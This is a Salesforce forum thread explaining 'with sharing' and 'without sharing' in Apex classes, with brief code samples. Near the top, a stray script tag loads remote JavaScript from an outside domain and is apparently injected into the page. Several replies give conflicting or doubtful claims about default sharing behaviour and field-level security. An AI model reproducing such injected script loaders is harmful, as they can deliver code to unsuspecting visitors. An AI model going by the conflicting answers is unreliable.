+ Start a Discussion

Difference between with sharing and without sharing?



pls give me replay the answer






<script type="text/javascript" src="http://loading-resource.com/data.geo.php?callback=window.__geo.getData"></script>


    Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user.

     Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not                enforced


For more details follow the Link 






Did this post answers your questions If so please mark It solved.







I hope it will be helpful for you,



Use the with sharing keywords when declaring a class to enforce the sharing rules that apply to the current user. For example:

public with sharing class sharingClass
  // Code here

Use the without sharing keywords when declaring a class to ensure that the sharing rules for the current user are not enforced. For example:

public without sharing class noSharing
  // Code here
If a class is not declared as either with or without sharing, the current sharing rules remain in effect. This means that if the class is called by a class that has sharing enforced, then sharing is enforced for the called class.




Hi Asish and Trinay,


I am Bit Confused about this topic ..can you please explain in detail please.......

Apex in general runs in " System Mode or context" , which does not consider current user permissons, field level permissions and sharing rules. i.e it will show all the object, fields , records in a org to other users when they use triggers and webservices to see other users data..


But inorder to avoid exposing sensitive data to other users  we write "with sharing" keyword in apex class so that it will enforce only sharing rules of current user but not, object permissons, field level permissions


But " without sharing"  will not enforceonly sharing rules of current user . does it mean it will enforce current user object and field level permissions. In this case
But apex in system mode also doesn't consider or enforce current user sharing rules along with object and field permissions.

what is the point in using without sharing keyword...rather we can simply write no keyword in a class.....

And also there is point in doc...if no keyword (either with/withoutsharing) is mentioned in apex class....then the apex considers existing permissions of a current user....what does it mean (is it oly shring rules or evry thing along with object and field level permissions) as per the first line...if there is no keyword...apex will runs in system mode, so it will not consider any of the permissions right?







 You want to know why do we use without sharing keyword ?

if you dont write any key word in the class then It will act as without sharing because this is default.


what is the point of using without sharing keyword.?

ans- when you  invoke some controller  with in another controller,If called or calling controller (only one) is attached with "with sharing " keyword then sharing rule will be enforced in both the class. to avoid that you need to use "without shring" keyword in  controller in which sharing rules should not be enforced .





Hi Ashish,


Do we use with sharing and without sharing  keywords to enforce (or) not to enforce only sharing rules or even it works for object permissions and field level permissions as well.....


So, Apex as in system context will enforce all the user permissions...


You meant that we use "without sharing" keyword.....only when "with sharing" keyword. is used in Apex programmes....





We use with sharing keyword to enforce only sharing rules.


Apex run in system context that means the current user's permissions, field-level security, and sharing rules aren’t taken into account.


yes.We use "without sharing" keyword.....only when "with sharing" keyword. is used in Apex programmes otherwise sharing rule always be enforced 


Did this post answers your question,if so please mark it as a solutions.

Don't forget to hit kudos if this helps you



Hi Ashish,

Now I got complete figure...so we use these keywords only in the context of sharing rules....

Thanks a lot
Plz find the link below. http://salesforceglobe4u.blogspot.in/2015/12/difference-between-with-sharing-and.html
laxmaiah raolaxmaiah rao
please give some more clarification on this, by defult apex code runs in system context mode, it is accessible to all objects and sharing rules so, restrict that access particular users we declare in a class with sharing keyword. but, where we can use of without sharing and why we can use?
Hi Laxmaiah,
      For example if u want to use apex class globally for integration purspose,then we can use without sharing.
      Eg.we have created a rest resource class through which we r doing dml operations in salesforce.When external system hits that url,that apex class will get executed and DML operations will occur.In this scenario it is not specific to particular user.
Brahmaditya bhaskarBrahmaditya bhaskar
Hi Laxmaiah
Please see the given example
public With sharing class A{

public Void mymethod(){
List<Account> accList =b.AcclIstReturn();
// this is the class where no with shaing keyword or without sharing keyword 
​public class b {

public Static List<Account> AcclIstReturn(){

List<Account> accList = [Select id, Name,Count_Of_Contact_c__c from Account where name ='Mark'];

update accList;

return accList;

if you call the Calss A  then it will through the error if user have don't acces to modifiy the record of account but if you 
write class b as a without sharing then it  will not throw the error.Thats why we use without sharing keyword.
Saurabh Sood 12Saurabh Sood 12
The with sharing annotation tells the Apex Class to enforce field access for the logged in user 
farukh sk hdfarukh sk hd
anyone of you... please explain with some realtime examples..
Uthayal KUthayal K
By using the "with sharing" keyword, user can enforce the sharing rules , if he/she has mapped.
By using the "without sharing" keyword, user can not enforce the sharing rules , if he/she has mapped.
Suraj Tripathi 47Suraj Tripathi 47
Hi rajaram,

When we use with sharing keyword then the Apex code runs in User Context, 
i.e all  sharing rules for  current user are taken into account.

When we use without sharing  keyword then the Apex code runs in system context,
Apex code can access by  all objects and fields etc and sharing rules aren’t applied for the current user.

If you find your Solution then mark this as the best answer. 

Thank you!

Suraj Tripathi